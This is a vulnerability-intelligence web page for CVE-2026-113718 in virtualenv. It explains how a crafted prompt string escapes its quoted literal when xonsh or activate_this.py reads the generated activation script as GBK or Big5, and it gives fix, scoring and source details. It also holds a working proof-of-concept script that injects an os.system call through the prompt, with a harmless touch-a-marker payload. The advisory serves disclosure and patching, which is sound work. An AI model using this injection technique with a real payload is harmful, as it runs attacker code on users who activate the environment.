KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 02:10 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-113718

virtualenv: Xonsh activation literals depend on the script decoding codec

Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment. Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK.

At a glance

Exploited
Not known
Severity
7.1 High (CVSS 4.0)
Chance of exploitation
0.2% in the next 30 days
Sources
2 independent sources

What to do

GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-394h-qwmc-48pf (opens a new tab)

What happened

## Summary

Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment.

## Affected area

Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure through unrelated activators.

Continue reading

## Attacker-controlled input

The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script.

## Affected code

The relevant 21.14.8 source is in [xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py), [UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py).

## Mechanism

The generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters in the file and backslash-escapes an embedded quote. Xonsh's `source` reads the file using `$XONSH_ENCODING`. With GBK or Big5, the UTF-8 bytes of `中` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character. The backslash no longer escapes the quote.

A prompt containing both quote kinds can then close its Python string literal and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.

## Reproduction and evidence

The original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile prompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path` controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review. [PR #3432](https://github.

com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to `ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII, decodes it as GBK, and checks that `ast.literal_eval` returns the original prompt.

The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of the generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is attributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix.

## Attack sequence

```mermaid sequenceDiagram participant A as Prompt supplier participant V as virtualenv quote() participant F as activate.

xsh bytes participant X as xonsh source A->>V: 中 plus escaped quote and statements V->>F: repr writes UTF-8 中 followed by backslash alt XONSH_ENCODING is UTF-8 F->>X: backslash remains an escape X-->>A: prompt remains data else XONSH_ENCODING is GBK or Big5 F->>X: decoder consumes backslash as trail byte X->>X: quote closes and statements run end Note over V,X: ascii() emits only ASCII bytes and preserves the literal ```

## Reproducer files

The following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

**`repro`**

```text #!/usr/bin/env python3 import os import subprocess import sys from pathlib import Path from shutil import rmtree

work = Path("/tmp/activate-this-gbk") rmtree(work, ignore_errors=True) work.mkdir() env_dir = work / "venv" marker = work / "MARKER"

# set up: a zh_CN.GBK locale, which the image does not ship subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True) utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"} gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")}

# attacker: text that a tool relays as --prompt # the payload's " makes repr() delimit with ' and write the prompt's own ' as \' # 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next payload = f'__import__("os").system("touch {marker}")' hostile_prompt = "中" + "';" + payload + "#"

# user: creates the environment with the virtualenv command subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True) activate_this = (env_dir / "bin" / "activate_this.py").read_bytes() prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]')) print(f"activate_this.py read as UTF-8: {prompt_line.

decode('utf-8')}") print(f"activate_this.py read as GBK: {prompt_line.decode('gbk')}") assert not marker.exists(), "payload ran at creation time"

# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir] control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True) ran_in_utf8_session = marker.exists() print(f"CONTROL UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}")

observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True) ran_in_gbk_session = marker.exists() print(f"OBSERVED GBK session: {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}")

# check: the prompt is data and must not run in either session print("BUG" if ran_in_gbk_session and not ran_in_utf8_session else "OK") ```

**`repro.d/ac

Affected package ranges reported by GitHub: virtualenv: < 21.14.9

Scores and how they were measured

CVSS base severity

7.1

Version 4.0As of

CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.2%

Scored Percentile 7.3%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-394h-qwmc-48pf (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-394h-qwmc-48pf, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    NVD CVE-2026-113718 (opens a new tab)

    NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation.

    Published Checked

  4. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  5. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-113718, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 23). virtualenv: Xonsh activation literals depend on the script decoding codec (CVE-2026-113718). https://kevwire.com/record/CVE-2026-113718

MLA

"virtualenv: Xonsh activation literals depend on the script decoding codec (CVE-2026-113718)." KEVWire, 23 Oct. 2026, kevwire.com/record/CVE-2026-113718.

Chicago

KEVWire. "virtualenv: Xonsh activation literals depend on the script decoding codec (CVE-2026-113718)." Last modified October 23, 2026. https://kevwire.com/record/CVE-2026-113718.

Evidence summary (plain text)

virtualenv: Xonsh activation literals depend on the script decoding codec (Oct 23, 2026).
Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the
value passed to virtualenv, and a user must subsequently activate the environment.

Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can
change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure
through unrelated activators.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-394h-qwmc-48pf).
EPSS 0.2% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113718&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-394h-qwmc-48pf: https://github.com/advisories/GHSA-394h-qwmc-48pf
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-113718: https://nvd.nist.gov/vuln/detail/CVE-2026-113718
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113718&date=2026-10-26
Record ID: CVE-2026-113718.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail